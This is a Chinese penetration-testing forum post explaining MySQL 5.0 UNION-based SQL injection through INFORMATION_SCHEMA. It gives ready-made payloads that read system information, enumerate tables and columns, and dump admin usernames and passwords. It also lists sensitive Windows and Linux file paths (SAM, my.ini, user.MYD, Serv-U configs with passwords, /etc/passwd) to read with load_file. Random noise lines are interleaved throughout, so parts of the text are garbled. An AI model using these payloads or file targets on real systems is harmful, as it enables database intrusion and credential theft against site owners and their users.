中国网络渗透测试联盟
标题:
mysql5.0注入原理
[打印本页]
作者:
admin
时间:
2013-3-7 13:24
标题:
mysql5.0注入原理
记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
+ X: F/ R: D% K5 D8 q
+ {6 T# y2 {2 v" V, m" ]
( z; ~4 z. Y. P# }' Y0 Z4 ^
3 b6 f) |# z$ `. l
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其
' R8 p/ l/ o% {+ I# D8 K
中记录了Mysql中所有
9 D6 z# |6 G" ]2 H' U1 D/ U
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
1 E( a @' q$ L& W7 G$ E" F
明。
) [* R" B+ \/ d! A% B
1.得到所有数据库名:
$ i2 Q |1 h3 ]9 O, T! f+ D
|SCHEMATA ->存储数据库名的表
2 ~1 a" ?2 Z& r" g, K
|—字段:SCHEMA_NAME ->数据库名称
1 ?5 k! `* z% A* ~9 D/ }4 }0 B
( U" m. _+ ?. v7 O$ n8 W/ K
|TABLES ->存储表名
' q0 K$ [2 ^& l1 v4 j
|—字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
( l; g* B& `" f. W( m
|—字段:TABLE_NAME ->存储表的表名
. I/ j0 ?1 s& m* m( U O
% A' E1 r# @- S! M
|COLUMNS ->存储的字段名表
+ X% w! T5 T. ?/ }
|—字段:TABLE_SCHEMA ->该字段所属数据库名
% L9 W. Q8 r7 V: d! T
|—字段:TABLE_NAME ->存储所属表的名称
% K3 u4 j4 X9 w [. R; p, E
+ ^+ {$ T1 k: T, n. }8 R3 O
|—字段:COLUMN_NAME ->该字段的名称
" v/ r" A& E' X0 n. T5 L5 x
& s6 N# j8 G7 t0 N: s7 \* M% m! g
#########################################################################
& a1 w7 q8 J) |2 T0 n
##
/ p% d3 G9 U0 f1 l6 |2 I! c A/ ~
% N8 }* I* U- j) {- Y
0×001 获取系统信息:
* ^! K2 u( O8 N- z3 H5 H
# y" t C1 i8 C
union select 1,2,3,4,5,concat
3 F9 W; H b1 n$ e' k
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
2 \: D- i$ k2 U/ N7 o1 a
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
7 M( u6 n. L k x E0 y6 a
5 Q; H3 G# p6 c0 T/ _- o. s
/*
( s! G- b( o# z) P3 _5 F5 H# P0 N
( z% e. e1 O: q, L. y6 t
@@global.version_compile_os 获取系统版本
0 b7 X% N. s1 g! W, g# d6 T
9 k& z) W+ Z. J: W x
@@datadir 数据库路径
2 V+ p8 E. K5 W$ q/ J6 q7 ^$ e. O
database() 当前数据库名称
8 m& Y, A1 I" g0 o+ r: q3 k
0x3c62723e 换行HEX值
- v0 l) i7 c# b1 `9 {9 k- w$ i
9 @2 I: o3 x, i2 x) d' n$ w
*/
) j0 V, K: P; ^1 U$ v
, R | C S4 E ~/ L
######################################################################
6 ?' ?8 p, i9 s; z
- K) R; a% E) U- n' p
0×002 获取表名
9 ~" U1 h J7 }! J I
& r' R# b+ T- O" t: M! I
union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
$ ^+ B( s6 r1 L( ~
information_schema.tables where table_schema=0x67617264656e /*
: D+ @# J- D, O
3 \( z, t. o, Y5 m- [
/*
. t! T# O5 z3 I, c# J a4 s
3 w+ X' X2 E* C8 I+ e
0x67617264656e 为当前数据库名
/ t1 c/ V) z# A) r2 a8 M
' j" G3 } E/ t, S1 f
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
3 p5 `3 X# ]" Y! d; ]
# j: [" I$ f9 Y) U5 Z6 _) M. L
*/
4 M$ U+ b$ F3 ? r3 Z
: m" Z7 }. U- M; W/ U5 W& Q! m3 C9 X: A
######################################################################
; |2 h$ v0 F4 ~
2 g! z/ n+ T7 U7 T) K) p( h% R1 @
0×003 获取字段
; u7 Q/ ~9 D1 o5 K4 K; s
% `; N9 N J! e- `
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from
- K7 W. ?7 ~7 u! ^0 [& n
information_schema.columns where table_name=0x61646d696e and
8 v( ` b- Y- \% Z0 z& I8 x4 z
" s8 {+ r( ]2 G$ a: S( d0 Q% \) E
7 `- n. ]% a7 p
table_schema=0x67617264656e limit 1 /*
" e" X* K! B4 \' |$ O
3 U2 U3 e9 B( g3 {
/*
, D( i' S5 k7 |9 J" U7 W2 ~4 C
0 E) ?: ~# i7 A9 \# O$ t
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
9 L% X( F& {: U# } x! A& d6 r; |- }" i
! ?7 o9 s9 p; G
0x61646d696e ->选择一个表
, L/ Z: v8 W8 M+ O; O
" T( l( ~6 j7 U. b+ f
0x67617264656e ->数据库名
( M7 ~1 R" z+ D A, f8 W' e
& c; q& q. S( v, A
*/
w6 ^; W) C: c
, ^+ z2 b! F9 q, {. h, D2 u' B
#####################################################################
5 B+ i+ v' Z% T, G. v' n! j/ L' Q
2 S5 ^( X5 H; A4 z( p5 y* g
0×004 获取数据
& M0 D) e# `+ y9 K1 h1 p- Q4 p
4 o9 }' b% L: p5 Z. H8 h
union select 1,2,3
, Y( V. A2 K" a3 i) j' o
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
/ s! E! i3 V$ j& \7 y B9 g# T
* z3 z! Z# o8 q
union select 1,group_concat(id),group_concat(adname),4,5,group_concat
- N* f, A+ ?: V; G
(adpassword),6,7,8 from admin
' r/ W; X; w* i
* j, s2 h, E+ m, s4 S0 h$ g/ {
/*
* S# L1 T" H- K7 _% h
_. ]; i; E6 p i
0x3c62723e 换行符号HEX编码
' Z2 `4 i/ `* u0 ~. T
0 J6 P, l; n+ {1 x6 X
group_concat 同时获得该字段所有数据
" P6 N4 l7 d7 }7 s7 [7 L/ @9 ^
: I- R; Z) n3 I1 M8 Q+ ~
*/
& p m' W3 R, J. P0 x/ H" i0 e# ~
# X+ w# \* f- F0 |) g+ z( o
( T4 x x! H/ C1 y3 G. t
' o4 }2 _# V! b! w6 y W
( K5 a; l* ^2 y8 _! t
' G1 ?, A% k0 q9 j& T1 O
顺便添加一些mysql注入时非常有用的一些东西
: d$ |( c* b! b7 L0 L
* a( X q' ?) R* X6 i
简单介绍Mysql注入中用到的一些函数的作用,利用它们可以判断当前用户权限(Root为最高,相当于MSSQL中的SA)、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
% L+ d2 E5 t7 l) X" y' [
D$ Q% a" @$ H0 i9 [8 w/ `( B
1:system_user() 系统用户名
9 f( A7 ]8 K6 v6 V
2:user() 用户名
' D3 E6 N3 D% U" C
3:current_user() 当前用户名
+ I6 k1 R9 [ _* G; ?% L( l
4:session_user()连接数据库的用户名
# s3 p5 c5 e; [" p( J
5:database() 数据库名
, I4 Q: I& ?1 U8 B( n
6:version() MYSQL数据库版本
$ G- o& ?# D) F0 A5 J
7:load_file() MYSQL读取本地文件的函数
3 \) o: a: M2 J% J2 _" `
8
@datadir 读取数据库路径
( n- Q; {, F6 X k
9
@basedir MYSQL 安装路径
- s0 y4 B# b3 {1 V9 K8 V) b& x
10
@version_compile_os 操作系统 Windows Server 2003,
3 k) b% W3 v6 S; C. T
收集的一些路径:
' v1 e* k. g' L4 U
WINDOWS下:
+ Y2 B1 v: [- |4 A' L, S$ ~
c:/boot.ini //查看系统版本
5 d0 f R. ^6 s% C" T `: R0 @
c:/windows/php.ini //php配置信息
3 g3 e" }- M" P
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
! Q. J6 t+ Y+ j* k
c:/winnt/php.ini
/ o2 d8 D4 y% v3 t9 V
c:/winnt/my.ini
7 e" f8 L8 b. T5 h$ o/ r5 o
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
" g. d$ u, Q' v
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
! Z, l/ z6 Z- a, R+ A3 W0 ?7 D
c:\Program Files\Serv-U\ServUDaemon.ini
9 T% P! \$ ^9 Y3 h: c0 L
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
4 X$ G8 `- L C" K2 ~" F
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
4 d- i- _5 l$ r. ]$ p
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
" Q6 M: g k8 I% d
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
; u; o$ p# a3 P
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
5 ^3 I" U, G: N. d F3 g
//存储了pcAnywhere的登陆密码
. v) b% X9 o, X, B. Z
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看 WINDOWS系统apache文件
2 ^& J2 t% B( ~* \8 g% k0 }4 o
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
7 ]- F- R& u L# C! p2 y7 W
3 S! [% O& I1 W4 L1 T
; C" a- j- @5 D' q& c; J) x) H
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
B2 a5 m9 l$ z7 M; G5 R3 k% h* ~- g
d:\APACHE\Apache2\conf\httpd.conf
4 N) @; X' @$ C" P
C:\Program Files\mysql\my.ini
8 K' `' t& V0 q4 s4 p9 r' l P8 R. C
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
8 T5 x: ?. n( r9 N0 a* w4 M
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
# j. h) \" C: D
9 @; e1 ?3 T, I& z5 g8 E1 u! ?8 T# e
LUNIX/UNIX下:
6 G1 ] m: i' H& Y8 W. G! @9 u) F+ t
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
5 D4 n2 D( u' k
/usr/local/apache2/conf/httpd.conf
0 i/ V; Y5 o6 F [) L; v
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
$ N; M [+ k% A8 b& ^; }' I, r
/usr/local/app/php5/lib/php.ini //PHP相关设置
& d: ^5 E& I3 \" R; m8 B
/etc/sysconfig/iptables //从中得到防火墙规则策略
2 l! `0 z( `0 M# k
/etc/httpd/conf/httpd.conf // apache配置文件
4 X+ ~# B5 s" ?! L$ r+ w9 `& M
/etc/rsyncd.conf //同步程序配置文件
/ M* T& f, ^$ n; {9 d+ k! q5 Z
/etc/my.cnf //mysql的配置文件
+ g" X7 ?2 L$ _( h& E
/etc/redhat-release //系统版本
2 f. Y& M& @6 ^# g6 |3 Y
/etc/issue
# Q1 z8 ?2 k- T% I4 D, p4 ]
/etc/issue.net
+ x' o0 |7 w% o
/usr/local/app/php5/lib/php.ini //PHP相关设置
! f& X: J( m$ N9 u
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
2 r4 @5 f& \' }$ `& d* y$ V: B/ `, F
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
+ f% o8 z: O) x7 |) ~0 }# N
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
" V! Y, p4 t: p
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
- g& J$ M2 `0 V8 ?( c
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
. c) g& q3 n) @5 M. J: Z8 f
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
+ y0 q5 d' X6 ]
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/ [: O$ K2 ] {
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
! M# u3 h7 J- R' j, x. e
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
) Z+ m7 M7 n. g2 I
/etc/sysconfig/iptables 查看防火墙策略
' D+ i8 [0 x, D2 I2 @ |3 F" S
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
6 Q u& V& @. O7 w4 v* T
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
@0 V+ x2 X. a! K( b5 q
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
) s6 d' t2 x4 ]$ [* f
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
+ s5 e- Z6 D5 E; g3 {2 _8 D( ^. _
4 M' s1 y" Z% Z6 r% k
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2